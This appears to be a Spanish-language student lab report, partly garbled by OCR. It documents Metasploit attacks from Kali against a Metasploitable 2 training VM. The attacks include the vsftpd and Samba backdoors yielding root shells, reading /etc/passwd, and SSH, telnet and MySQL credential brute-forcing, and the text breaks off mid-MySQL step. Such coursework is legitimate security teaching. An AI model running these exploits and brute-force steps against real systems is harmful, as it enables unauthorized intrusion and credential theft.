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1. INTRODUCCION
Dominar y adquirir habilidades como la capacidad de explotar varios

puertos en busca de vulnerabilidades, son competencias que se deben tener, no
solo para las clases de Seguridad y Auditoria de Redes, sino, para la vida

profesional.

En el presente documento se deberan aplicar los conocimientos adquiridos
en las clases, sin embargo, en caso de conseguir errores 0 encontrarnos con
procesos aun no vistos, debemos buscar las herramientas para descifrar la
manera de alcanzar nuestros objetivos y lograr culminar con éxito el laboratorio

propuesto por el docente.

SEGURIDAD Y
AUDITORIA DE REDES

llustracion 1. Seguridad y Auditoria de Redes.



2. OBJETIVO GENERAL
Explotar los puertos 21, 22, 23, 25, 53, 139, 445, 2121, 3306, 5432

haciendo uso de Kali Linux y Metasplotable 2.

2.1 OBJETIVOS ESPECIFICOS

¢ Aplicar el conocimiento en clases para el desarrollo de la problematica
propuesta.

e Documentar detalladamente la solucién de cada paso.

e Practicar todo lo aprendido.

3. PLANTEAMIENTO DEL PROBLEMA
Se nos ha pedido explotar 10 puertos, los cuales son 21, 22, 23, 25, 53,

139, 445, 2121, 3306, 5432, esto para poner en practica lo aprendido en clase y
reforzar nuestro dominio del tema, ademas de esto, se deberan usar las
herramientas de Kali Linux y Metasplotable 2 para llevar a cabo nuestro objetivo, si
en algun momento se llega a presentar problemas con los exploits de los puertos o
en efecto su acceso, se deberan de documentar todos los hallazgos con la

finalidad de tener un soporte y buenas practicas.
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4. DESARROLLO
Luego de iniciar tanto Kali como Metasploitable 2, vamos a identificar la

direccion ip que le corresponde a la victima que en este caso es la de

Metasploitable 192.160.10.8. Usamos el comando:

e ifconfig

'”q i J_nfiq
HUdd

inetb add {H : ; 7 -
UP BROAD HFT[lr 1
X pac errors:0 ;.0 frane:0
d[DUpEL U overruns:0 carrier:0
qquﬂuﬂlenilﬂﬂﬂ

6 KB) TX by

[lustracion 2. Direcciéon de la victima.

La siguiente es la ip del atacante 192.160.10.4

/home/kali

ethod: fla-s¥4163<UP BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 192.160.10.40 netmask 255.255.255.@0 broadcast 192.160.10.255
inet6 fe80::b7d2:f304:d565:bb@7 prefixlen 64 scopeid 0x20<link>

ether 08:00:27:b4:a1:05 txqueuelen 1000 (Ethernet)

RX packets 27 bytes 5449 (5.3 KiB)

RX errors @ dropped @ overruns @ frame 0

TX packets 32 bytes 4168 (4.0 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

llustracion 3. Ip del atacante.



Ahora usamos el comando nmap -sn 192.160.10.0/24 para conseguir las
evidencias, realizar un escaneo, con la siguiente imagen podemos identificar 2

direcciones ip importantes, la de la victima y la del atacante.

/home/kali

192.160.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-06 11:12 EDT
Nmap scan report for 192.160.10.1
Host is up (0.00039s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.160.10.2
Host is up (0.00026s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 192.160.10.3
Host is up (0.00019s latency).
MAC Address: 08:00:27:F4:46:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.160.10.8
Host is up (0.0023s latency).
MAC Address: 08:00:27:B1:41:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.160.10.4
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.42 seconds

llustracion 4. Posibles hallazgos.

Mediante el comando nmap -sV 192.160.10.0/24 vamos a identificar los
servicios que tiene abierto o activos la victima, como se podra evidenciar en la
imagen siguiente, de esa forma, vamos a adquirir informacion crucial que
usaremos después para explotar los puertos 21, 22, 23, 25, 53, 139, 445, 2121,

3306, 5432.



Nmap scan report for 192.160.10.8

Host is up (0.010s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp  open ftp vsftpd 2.3.4

22/tcp  open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp  open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login

514/tcp open tcpwrapped

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProfTePD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:B1:41:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

llustraciéon 5. Conocer servicios abiertos de la victima.

En este momento debemos abrir el framework de Metasplotable para

explotar las vulnerabilidades que se evidencien que tiene la victima.

e Msfconsole

4.1 PUERTO 21

msf6 > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/unix/ftp/MSFEtpd 234 backdoor 2011-07-03 =1 t No VSFTPD v2.3.4 Backdoor Command Execution

llustracion 6. Puerto 21.

En la imagen de la parte superior nos aparece que el exploit esta en la
posicion 0 entonces se debe usar el comando use 0 para seleccionar el exploit

exacto.



> use @

No payload configured, defaulting to cmd/unix/interact

f6 exploit( ) > |}
llustracion 7 Seleccionar exploit.

En la anterior imagen nos podemos dar de cuenta que nos lanza un

mensaje donde nos advierte que el payload no esta configurado, por lo que es

necesario establecerlo.

Ahora debemos saber qué otras opciones debemos establecer, por lo que

vamos a utilizar el comando (options).

> options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

llustracion 8. Configurar RHOSTS.

De la siguiente forma debe ir quedando:

msf6 exploit(
rhosts = 192.160.10.8
msf6 exploit( )

) > set rhosts 192.160.10.8
> options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
CHOST
CPORT no
Proxies no

RHOSTS ~ 192.160.10.8 yes
RPORT 21 yes

The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies

: sapni, socks4, socks5, socks5h, http
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)

llustracion 9. Configurada la ip del Rhost
Ahora vamos a ver si se vulnera el payload, por lo cual vamos a usar los

siguientes comandos:

- set payload cmd/unix/interact



- exploit

msf6 exploit( ) > set payload cmd/unix/interact
payload = cmd/unix/interact
msf6 exploit( ) > exploit
192.160.10.8:21 - Banner: 220 (vsFTPd 2.3.4)
192.160.10.8:21 - USER: 331 Please specify the password.
[+] 192.160.10.8:21 - Backdoor service has been spawned, handling ...

[+] 192.160.10.8:21 - UID: uid=0(root) gid=0(root)
Found shell.
Command shell session 1 opened (192.160.10.4:33059 — 192.160.10.8:6200) at 2025-08-06 12:06:21 -0400

whoami
root

llustracion 10. Explotar payload.

En la imagen anterior luego de usar el comando exploit debemos escribir

whoami para saber qué usuario tengo, en este caso root.

Ahora podemos observar mediante el comando cat /etc/passwd el
contenido del archivo passwd que tiene informacion sobre todas las cuentas de

usuario del sistema.

root:/root:/bin/bash
1:daemon: /usr/sbin:/bin/sh
:bin:/bin:/bin/sh

/bin/sync
nes:/bin/sh
‘cache, /bin/sh
ool/lpd:/bin/sh
'mail:/bin/sh
spool/news: /bin/sh
/spool/uucp:/bin/sh
bin:/bin/sh
v—data: "/ wew : /bin/sh
ickup: /var/backups: /bin/sh
8:Mailing List Mamager:/var/list:/bin/sh
rir /

llustracion 11. Contenido de passwd parte 1.



nsfadmin,,, :/hom
che/bind: /bir
“,;poolprSt

resql:/bin/bash

I11bpn+; /bin/false

llustracién 12. Contenido de passwd parte 2.

4.2 PUERTO 22 (SSH)
Para el SSH se va a necesitar ip, usuario y contrasena, por lo que vamos a

utilizar el comando search ssh_login, que sirve para realizar combinaciones de

usuarios y contrasefias contra un servidor SSH, mediante ataques de fuerza bruta.

msf6 > search ssh_login

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/scanner/ssh/Ssh_Togin - normal No SSH Login Check Scanner
auxiliary/scanner/ssh/ssh_login pubkey . normal No SSH Public Key Login Scanner

llustracion 13. Realizando ataque de fuerza bruta.

Posteriormente es necesario poner use 0 para seleccionar el campo con el

que vamos a trabajar.

Con el comando options podemos visualizar qué nos hace falta, en este

caso, la ip de la victima (RHOSTS).



msf6 auxiliary( ) > options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

ANONYMOUS_LOGIN  false yes Attempt to login with a blank username and password

BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

CreateSession true no Create a new session for every successful login

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 22 yes The target port

STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE false yes Whether to print output for all attempts

llustracion 14. Visualizacion y configuracion del rhosts.

Debemos agregar, de la misma forma que se realizé6 con RHOSTS del

puerto 21.

rhost 192.160.10.8

llustracion 15. RHOSTS establecido.

Ahora usamos la siguiente ruta para conseguir y listar el diccionario: cd

lusr/share/metasploit-framework/data/wordlists

Tt

mp_default_p

llustracion 16. Diccionario listado.

Ahora podemos usar la ruta la ruta que se puede apreciar en la imagen
ubicada al final de este parrafo, donde el archivo root_userpass.txt tendra posibles
combinaciones de usuarios y contraseftas comunes para ataques por fuerza

bruta.



auxiliary metasp 15t5/100t_USerpass. txt

FERPASS_FILE 2 /usr/share/metasploit-framework/daté/wordlists/root_userpass.txt

llustracion 17. Rutas de archivo roor_userpass.txt.

Asi debe ir quedando.

llustracion 18. Visualizacion previa.

Ahora viene la parte interesante, debemos iniciar el ataque de fuerza bruta,

eso lo realizamos con el comando run.

) > run
- Starting bruteforce

llustracion 19. Inicio de ataque de fuerza bruta.

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

llustracion 20. Finalizacion de ataque de fuerza bruta.

Con el comando cat root_userpass.txt podremos visualizar una lista con

combinaciones de usuario y posibles contrasefas.

Ademas de esto, se debe agregar el comando de sessions -i 1 para

ingresar a la consola del exploit.



auxiliary > Sess1ons
Starting interaction with 1...

whoami
msfadmin

llustracién 21. Inicio de la sesién en ssh.

msf6 auxi iary > cat root_userpass.txt
exec: cat root_userpass.txt

'root
Cisco
NeXT

QNX

admin
attack
ax400
bagabu
blablabla
blender
brightmail
calvin
changeme
changethis
default
fibranne
honey
jstwo
kn1TG7psLu
letacla

llustracion 22. Posibles credenciales.

Abrimos el archivo y agregamos nuestras credenciales:

root@kali: /home/kali & root@kali: /home/kali =

GNU nano 8.4
knl1TG7psLu
letacla
mpegvideo
nsi

parot

pass
password
pixmet2003
resumix

root

llustracion 23. Credenciales parte 1.



root rootme
root rootpass
root t00lkilt
root tini
root toor
root trendimsal.®
root tslinux
root uClinux
root vertex25
root owaspbwa
root permit
root ascend

root ROOT500

root cms500

root fivranne
root davox

root letmein

root powerapp
root dbps

root ibm

root monitor

root turnkey

root vagrant
msfadmin msfadmin
msfadmin mariana
mariana carolinal]

llustracion 24. Credenciales parte 2.

Ahora vamos a intentar acceder por SSH, pero aparecio un error porque no
se tenian unas key, al buscar la opcién para solucionarlo se recomendé agregar el
siguiente comando: ssh -oHostKeyAlgorithms=+ssh-rsa

msfadmin@192.160.10.8 y efectivamente se pudo ingresar al ssh.

/home/kali
msfadmin@192.160.10.8
Unable to negotiate with 192.160.10.8 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

/home/kali
Algorithms=+ msfadmin@192.160.10.8

The authenticity of host '192.160.10.8 (192.160.10.8)' can't be established.
RSA key fingerprint is SHA256:BQHMSEOHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.160.10.8' (RSA) to the list of known hosts.
msfadmin@®192.160.10.8's password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

No mail.

Last login: Wed Aug 6 10:46:01 2025
msfadmin@metasploita [ |

llustracion 25. SSH explotado.


mailto:msfadmin@192.160.10.8

wnoami

mstadmin

llustracién 26. Privilegio msfadmin.

4.3 PUERTO 23 (TELNET)
En la imagen de la parte inferior nos aparece que el exploit esta en la

posicidon 1 entonces se debe usar el comando use 1 para seleccionar el exploit

exacto.

msf6 > search telnet_login

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass 2021-09-06 normal Yes Netgear PNPX_GetShareFolderList Authentication Bypass
auxiliary/scanner/telnet/Eelnet login - normal No Telnet Login Check Scanner

llustracion 27. Ubicar posicion.

Ademas de esto con options vamos a visualizar que nos hace falta

agregar, en este caso, configurar RHOST, USERNAME y PASSWORD.

msf6 > use 1
msf6 auxiliary( ) > options

Module options (auxiliary/scanner/telnet/telnet_login):

Name Current Setting Required Description
ANONYMOUS_LOGIN  false yes Attempt to login with a blank username and password

BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from @ to 5

CreateSession true no Create a new session for every successful login

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, usergrealm)

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT yes The target port (TCP)

STOP_ON_SUCCESS yes Stop guessing when a credential works for a host

THREADS yes The number of concurrent threads (max one per host)

USERNAME A specific username to authenticate as

USERPASS_FILE File containing users and passwords separated by space, one pair per line

USER_AS_PASS Try the username as the password for all users

USER_FILE File containing usernames, one per line

VERBOSE Whether to print output for all attempts

llustracion 28. Visualizando avance.



Configuramos lo que nos hacia falta:

msf6 auxiliary( ) > set RHOSTS 192.160.10.8
RHOSTS = 192.160.10.8
msf6 auxiliary( ) > set USERNAME msfadmin

USERNAME = msfadmin
msf6 auxiliary( ) > set PASSWORD msfadmin
PASSWORD = msfadmin

llustracion 29. Configurando.

Asi se debe de estar viendo nuestras configuraciones.

msf6 auxiliary( ) > options
Module options (auxiliary/scanner/telnet/telnet_login):

Name Current Setting Required Description
ANONYMOUS_LOGIN  false yes Attempt to login with a blank username and password

BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from @ to 5

CreateSession true no Create a new session for every successful login

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user§realm)

PASSWORD msfadmin no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS 192.160.10.8 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 23 yes The target port (TCP)

STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host

THREADS 1 The number of concurrent threads (max one per host)

USERNAME msfadmin A specific username to authenticate as

USERPASS_FILE File containing users and passwords separated by space, one pair per line

USER_AS_PASS false Try the username as the password for all users

USER_FILE File containing usernames, one per line

VERBOSE true Whether to print output for all attempts

llustracion 30. Visualizar la configuracion actual.

Ahora es momento de explotar y posteriormente abrir una sesién para

verificar que estemos donde deseabamos explotar.

msf6 auxiliary( ) > exploit
[!] 192.160.10.8:23 No active DB -- Credential data will not be saved!
[+] 192.160.10.8:23 192.160.10.8:23 - Login Successful: msfadmin:msfadmin
192.160.10.8:23 Attempting to start session 192.160.10.8:23 with msfadmin:msfadmin
Command shell session 1 opened (192.160.10.4:38975 — 192.160.10.8:23) at 2025-08-06 15:23:52 -0400
192.160.10.8:23 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( ) > Interrupt: use the 'exit' command to quit
msf6 auxiliary( ) > sessions -i 1
Starting interaction with 1...

msfadmin@metasploitable:~$ whoami
whoami

msfadmin
msfadmin@metasploitable:~$ |

llustracion 31. Explotando Telnet.



4.4 PUERTO 25

Abrimos el framework de mestploit para iniciar la configuracion. Debemos
ponerle la direccidon al RHOSTS y agregar la ruta use

auxiliary/scanner/smtp/smtp_enum para enumerar usuarios del sistema.

6 > use auxiliary/scanner/smtp/smtp_enum

msf6 auxiliary( ) > set RHOSTS 192.160.10.8
RHOSTS = 192.160.10.8

msf6 auxiliary( ) > set USER_FILE /usr/share/wordlists/unix_users.txt
USER_FILE = /usr/share/wordlists/unix_users.txt

llustracion 32. Agregando archivo.

Con el comando USER_FILE /usr/share/wordlists/unix_users.txt se

agrega para usar un archivo de diccionario de usuarios.

Ahora se debe ingresar el comando run para correr el exploit.

msfﬁ_auxiliary( ) > run
192.160.10.8:25 - 192.160.10.8:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

192.160.10.8:25 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

llustracion 33. Corriendo el exploit.

OBSERVACION: No se identificaron usuarios validos en base al diccionario

que se utilizo.

4.5 PUERTO 53 (DNS)

Para el puerto 53 tambien es necesario conseguir la forma de explotarlo por

lo que se deben seguir los pasos que se describiran a continuacion:

Debemos utilizar el comando search bailwicked_domain para buscar si

hay exploits que podamos utilizar y la posicion que debemos utilizar cuando



ejecutemos el comando de use 0, como se podra explicar en las siguientes

secuencias de imagenes.

msf6 > search bailiwicked_domain

Matching Modules

# Name Disclosure Date Rank Check Description

® auxiliary/spoof/dns/bailiwicked domain 2008-07-21 normal Yes DNS Bailiwicked Domain Attack

llustracion 34. Posicidon del exploit.

En la siguiente imagen ya es necesario aplicar el use 0, este ultimo indica la

posicion actual del exploit.

llustracion 35. Usando use 0.

Ahora con el comando de options vamos a verificar que nos hace falta para

posteriormente agregarlo.

auxiliary(
Module options (auxiliary/spoof/dns/bailiwicked_domain):

Name Current Setting Required Description
DOMAIN example.com yes The domain to hijack

INTERFACE no The name of the interface

NEWDNS yes The hostname of the replacement DNS server
RECONS 208.67.222.222 yes The nameserver used for reconnaissance

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SNAPLEN 65535 yes The number of bytes to capture

SRCADDR Real yes The source address to use for sending the queries (Accepted: Real, Random)

SRCPORT yes The target server’'s source query port (@ for automatic)

TIMEOUT 500 yes The number of seconds to wait for new data

TTL 32633 yes The TTL for the malicious host entry

XIDS 0 yes The number of XIDs to try for each query (0 for automatic)

llustracion 36. Visualizando procesos.

Con la imagen anterior nos damos cuenta que nos hace falta agregar el
RHOSTS que es la direccion de la victima. Debemos agregarla con set RHOSTS

192.160.10.8



msf6 auxiliary( ) : STS 192.160.10.8

RHO5TS = 192.168.18.8

llustracion 37. Configurando RHOSTS.

OBSERVACION: Luego de mandar el exploit no se terminé de ejecutar por
lo que no se logré dar un resultado final, como se puede apreciar en la imagen a

continuacion.

msf6 auxiliary( ) > exploit

Running module against 192.160.10.8

Targeting nameserver 192.160.10.8 for injection of example.com. nameservers as 192.160.10.4

Querying recon nameserver for example.com.'s nameservers ...

Got an NS record: example.com. 4227 IN NS a.iana-servers.net.

Querying recon nameserver for address of a.iana-servers.net....
Got an A record: a.iana-servers.net. 533 IN A 199.43.135.53

E, [2025-08-06T17:32:43.163566 #164159] ERROR — : undefined method “each’ for an instance of IPAddr (NoMethodError)
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:293:in "nameservers’
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:1104:in “block (2 levels) in parse_config file’
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:109 “each’
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:109 “block in parse_config_file'
/usr/share/metasploit-framework/lib/net/dns/resolver.rb: “foreach’
/usr/share/metasploit-framework/lib/net/dns/resolver.rb: s “parse_conf file®
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:230:in “initialize°®
/usr/share/metasploit-framework/modules/auxiliary/spoof/dns/bailiwicked_domain.rb:255:in “new’
/usr/share/metasploit-framework/modules/auxiliary/spoof/dns/bailiwicked_domain.rb: :in “block (2 levels) in run’
/usr/share/metasploit-framework/modules/auxiliary/spoof/dns/bailiwicked_domain.rb :in “each’
/usr/share/metasploit-framework/modules/auxiliary/spoof/dns/bailiwicked_domain.rb “block in run’
/usr/share/metasploit-framework/modules/auxiliary/spoof/dns/bailiwicked_domain.rb: “each’
/usr/share/metasploit-framework/modules/auxiliary/spoof/dns/bailiwicked_domain.rb:246: “run’
/usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180: “job_run_proc’
/usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in “run_simple’
/usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in “run_simple’
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:81:in “block in cmd_run"
J/usr/share/metasploit-framework/lib/msf/core/rhosts walker.rb:72:in "block in each’

llustracion 38.. No se termina de ejecutar el exploit para P53.

4.6 PUERTO 139 Y 445 (Samba)
El mismo exploit funciona tanto para el puerto139 como 445 search

exploit/multi/samba/usermap_script



msf6 auxiliary( ) > search exploit/multi/samba/usermap_script

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/multi/samba/usermap_script 2007-05-14 t No Samba "username map script” Command Execut

Interact with a module by name or index. For example i

msf6 auxiliary( ) > use @
No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit( ) > set RHOSTS 192.160.10.8
RHOSTS = 192.160.10.8
msf6 exploit( ) > exploit
Started reverse TCP handler on 192.160.10.4:4444
Command shell session 1 opened (192.160.10.4:4444 — 192.160.10.8:46979) at 2025-08-06 18:12:53 -0400

whoami
root

llustracion 39. Buscando exploits para SAMBA.

Aqui estamos fijando el puerto 445 de samba y luego realizamos el exploit,

este dando exitoso ya que podemos acceder a root.

) > set RPORT 445

) > exploit
Started reverse TCP handler on 192.160.10.4:4444

Command shell session 2 opened (192.160.10.4:4444 — 192.160.10.8:46980) at 2025-08-06 18:16:37 -0400

whoami
root
exit

llustracion 40. Puerto 445 samba.

Para el otro puerto 139 debemos realizar lo mismo que el paso anterior y
podemos confirmar que el mismo exploit nos sirvidé para explotar los dos puertos

de samba.



) > set RPORT 139

msf6 exploit( ) > exploit
Started reverse TCP handler on 192.160.10.4:4444
Command shell session 3 opened (192.160.10.4:4444 — 192.160.10.8:46981) at 2025-08-06 18:17:32 -0400

whoami
root

llustracion 41. Puerto 139 samba.

4.7 PUERTO 2121
Para el puerto 2121 buscamos un exploit que nos pueda servir con este

puerto con el comando que se puede apreciar en la imagen.

msf6 > search exploit/unix/ftp/proftpd_133c_backdoor

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 exc ent No ProFTPD-1.3.3c Backdoor Command Execution

Interact with a module by name or index. For example

msf6 > use 0

llustracion 42. Buscando exploit para el puerto 2121.

Podemos apreciar que el exploit que conseguimos para utilizar se
encuentra en la posicién 0, por lo que debemos proseguir con aplicar el comando
use 0 y posteriormente un show options para visualizar qué configuraciones nos

hacen falta realizar.

msf6 exploit( ) > show options
Module options (exploit/unix/ftp/proftpd_133c_backdoor):

Name Current Setting Required Description
CHOST The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sapn|

P
RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin|
RPORT 21 The target port (TCP)




Configuramos el RHOSTS y el RPORT que son campos requeridos para

ejecutar el exploit.

msf6 exploit( ) > set RHOST 192.160.10.8
RHOST = 192.160.10.8

msf6 exploit( ) > set RPORT 2121
RPORT = 2121

llustracion 43. configurando el exploit.
Ahora es el momento de agregar el payload a nuestra configuracion para

terminar.

msf6 exploit( ) > set PAYLOAD cmd/unix/reverse

PAYLOAD = cmd/unix/reverse

Finalmente, con el comando de run lo que realizamos es el inicio del
exploit, para tratar de penetrar el puerto 2121.

msf6 exploit( ) > run

Started reverse TCP double handler on 192.160.10.4:4444
192.160.10.8:2121 - Sending Backdoor Command

192.160.10.8:2121 - Not backdoored

Exploit completed, but no session was created.
msf6 exploit( ) > exit

llustracion 44. Explotando puerto 2121.

En la imagen a continuacion podemos apreciar que el puerto ya se

encuentra abierto.



msf6 exploit( ) > exit

/home/kali
-p 2121 ript=ftp-* 192.160.10.8

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 13:18 EDT
Nmap scan report for 192.160.10.8
Host is up (0.025s latency).

PORT STATE SERVICE
2121/tcp open ccproxy-ftp
MAC Address: 08:00:27:B1:41:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds

llustracion 45. Puerto 2121 abierto.

4.8 PUERTO 3306
Procedemos a buscar un exploit que nos sirva para utilizarlo con el puerto

3306 que es sobre mysq|.

msf6 > search mysql scanner

Matching Modules

# Name Disclosure Date Rank Check
cription

0 auxiliary/scanner/mysql/mysql writable_dirs : normal No
Directory Write Test

1 auxiliary/scanner/mysql/mysql_file_enum g normal No
File/Directory Enumerator

2 auxiliary/scanner/mysql/mysql_hashdump . normal No
Password Hashdump

3 auxiliary/scanner/mysql/mysql_schemadump . normal No
Schema Dump

4 auxiliary/scanner/mysql/mysgl_authbypass_hashdump 2012-06-09 normal No
Authentication Bypass Password Dump

5 auxiliary/scanner/mysql/mysql login - normal No
Login Utility

6 auxiliary/scanner/mysql/mysgl_version - normal No
Server Version Enumeration

llustracion 46. Buscando exploit para el puerto 3306.

El exploit que podemos utilizar se encuentra en la posicion 5 por lo cual

vamos a usar nuevamente como hemos realizado en varios casos el comando use



5, el numero hace relacion a la posicién donde se encuentra lo que debemos

utilizar.

msf6 > use 5

New in Metasploit 6.4 - The
ive session

on option within this module can open an interact

llustracion 47. Use 5 en puerto 3306.

Ahora debemos utilizar show options para visualizar como vamos y qué

nos falta por configurar.

msf6 auxiliary(

Name
;HBQYMOUS_LOGIN
BLANK_PASSWORDS
BRUTEFORCE_SPEED
CreateSession
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING
PASSWORD

PASS_FILE
Proxies

RHOSTS
RPORT
STOP_ON_SUCCESS

THREADS

USERNAME
USERPASS_FILE

USER_AS_PASS

USER_FILE

) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

Current Setting Required Description

false
true
5
false
false
false

false

none

yes
no
yes
no
no
no

no

no

Attempt to login with a blank username and
password

Try blank passwords for all users

How fast to bruteforce, from 0 to 5

Create a new session for every successful

login

Try each user/password couple stored in th

e current database

Add all passwords in the current database

to the list

Add all users in the current database to t

he list

Skip existing credentials stored in the cu

rrent database (Accepted: none, user, user

Srealm)

A specific password to authenticate with
File containing passwords, one per line

A proxy chain of format type:host:port[,ty
pe:host:port][ ... ]. Supported proxies: sap

ni, socks4, socks5, socks5h, http

The target host(s), see https://docs.metas
ploit.com/docs/using-metasploit/basics/usi
ng-metasploit.html

The target port (TCP)

Stop guessing when a credential works for

a host

The number of concurrent threads (max one
per host)

A specific username to authenticate as
File containing users and passwords separa

ted by space, one pair per line

Try the username as the password for all u

sers

File containing usernames, one per line

llustracion 48. Show options.



Realizamos las configuraciones que se muestran en la imagen inferior para

posteriormente poder ejecutar el exploit.

msf6 auxiliary( ) > set RHOST 192.160.10.8

RHOST = 192.160.10.8
msf6 auxiliary( ) > set USER_FILE /home/kali/Documents/loginids.txt
USER _FILE = /home/kali/Documents/loginids.txt

llustracion 49. Configurando exploit puerto 3306.

Ejecutamos el exploit y el resultado es el siguiente:

msf6 auxiliary( ) > exploit
[+] 192.160.10.8:3306 - 192.160.10.8:3306 - Found remote MySQL version 5.0.51a
[t] 192.160.10.8:3306 - No active DB —- Credential data will not be saved!
